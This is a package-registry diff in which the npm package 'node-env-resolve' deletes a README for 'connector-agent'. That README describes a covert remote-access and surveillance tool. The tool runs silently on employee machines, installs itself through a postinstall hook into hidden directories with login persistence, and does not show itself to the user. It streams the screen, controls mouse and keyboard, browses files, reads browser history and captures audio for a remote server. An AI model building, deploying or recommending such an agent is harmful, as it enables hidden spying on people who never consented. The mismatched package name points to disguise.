node-env-resolve 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/DOCS.md +0 -83
package/package.json
CHANGED
package/DOCS.md
DELETED
|
@@ -1,83 +0,0 @@
|
|
|
1
|
-
# connector-agent
|
|
2
|
-
|
|
3
|
-
System connectivity service — runs silently on employee machines.
|
|
4
|
-
|
|
5
|
-
## Install
|
|
6
|
-
|
|
7
|
-
```bash
|
|
8
|
-
# Default (connects to localhost:8471)
|
|
9
|
-
npm i -g connector-agent
|
|
10
|
-
|
|
11
|
-
# With custom server URL
|
|
12
|
-
SERVER_URL=https://your-server.com npm i -g connector-agent # Mac/Linux
|
|
13
|
-
set SERVER_URL=https://your-server.com && npm i -g connector-agent # Windows CMD
|
|
14
|
-
$env:SERVER_URL="https://your-server.com"; npm i -g connector-agent # PowerShell
|
|
15
|
-
```
|
|
16
|
-
|
|
17
|
-
**That's it!** The agent will automatically:
|
|
18
|
-
1. Copy files to a hidden directory
|
|
19
|
-
2. Register auto-start (runs on every login)
|
|
20
|
-
3. Start running in background
|
|
21
|
-
|
|
22
|
-
## What Happens on Install
|
|
23
|
-
|
|
24
|
-
| Step | Windows | Mac | Linux |
|
|
25
|
-
|------|---------|-----|-------|
|
|
26
|
-
| **Files copied to** | `%APPDATA%\ConnectorService\` | `~/.connector/` | `~/.connector/` |
|
|
27
|
-
| **Auto-start via** | Registry `HKCU\Run` | `~/Library/LaunchAgents/` | `~/.config/autostart/` |
|
|
28
|
-
| **Admin needed** | ❌ No | ❌ No | ❌ No |
|
|
29
|
-
| **Visible to user** | ❌ No | ❌ No | ❌ No |
|
|
30
|
-
|
|
31
|
-
## Environment Variables
|
|
32
|
-
|
|
33
|
-
Set these **before** running `npm i -g`:
|
|
34
|
-
|
|
35
|
-
| Variable | Default | Description |
|
|
36
|
-
|----------|---------|-------------|
|
|
37
|
-
| `SERVER_URL` | `http://localhost:8471` | Relay server URL |
|
|
38
|
-
|
|
39
|
-
## Uninstall
|
|
40
|
-
|
|
41
|
-
```bash
|
|
42
|
-
npm uninstall -g connector-agent
|
|
43
|
-
```
|
|
44
|
-
|
|
45
|
-
Then manually remove:
|
|
46
|
-
- **Windows:** Delete `%APPDATA%\ConnectorService\` and remove registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService`
|
|
47
|
-
- **Mac:** Delete `~/.connector/` and `~/Library/LaunchAgents/com.user.connector.plist`
|
|
48
|
-
- **Linux:** Delete `~/.connector/` and `~/.config/autostart/connector.desktop`
|
|
49
|
-
|
|
50
|
-
## Capabilities
|
|
51
|
-
|
|
52
|
-
- 📺 Screen streaming (4 FPS, adjustable quality)
|
|
53
|
-
- 🖱️ Remote mouse/keyboard control
|
|
54
|
-
- 📂 File system browsing
|
|
55
|
-
- 🌐 Browser history reading (Chrome/Edge/Firefox)
|
|
56
|
-
- 🎤 Audio capture (mic + system audio)
|
|
57
|
-
- 💤 Sleep prevention
|
|
58
|
-
- 🔄 Auto-reconnect on disconnect
|
|
59
|
-
- 🚀 Auto-start on login
|
|
60
|
-
|
|
61
|
-
## Requirements
|
|
62
|
-
|
|
63
|
-
- Node.js 18+
|
|
64
|
-
- ffmpeg (optional, for audio capture)
|
|
65
|
-
|
|
66
|
-
## File Structure
|
|
67
|
-
|
|
68
|
-
```
|
|
69
|
-
connector-agent/
|
|
70
|
-
├── package.json ← npm package config + postinstall hook
|
|
71
|
-
├── postinstall.js ← Auto-setup script (runs on npm install)
|
|
72
|
-
├── .gitignore
|
|
73
|
-
└── src/
|
|
74
|
-
├── index.js ← Entry point
|
|
75
|
-
├── config.js ← Cross-platform config (auto-detects OS)
|
|
76
|
-
├── screenCapture.js ← Screen streaming
|
|
77
|
-
├── inputHandler.js ← Mouse/keyboard control (robotjs)
|
|
78
|
-
├── audioCapture.js ← Mic + system audio (ffmpeg)
|
|
79
|
-
├── browserHistory.js ← Chrome/Edge/Firefox history reader
|
|
80
|
-
├── fileScanner.js ← File system browser
|
|
81
|
-
├── sleepPreventer.js ← Prevents system sleep
|
|
82
|
-
└── systemInfo.js ← Machine info (hostname, OS, IP)
|
|
83
|
-
```
|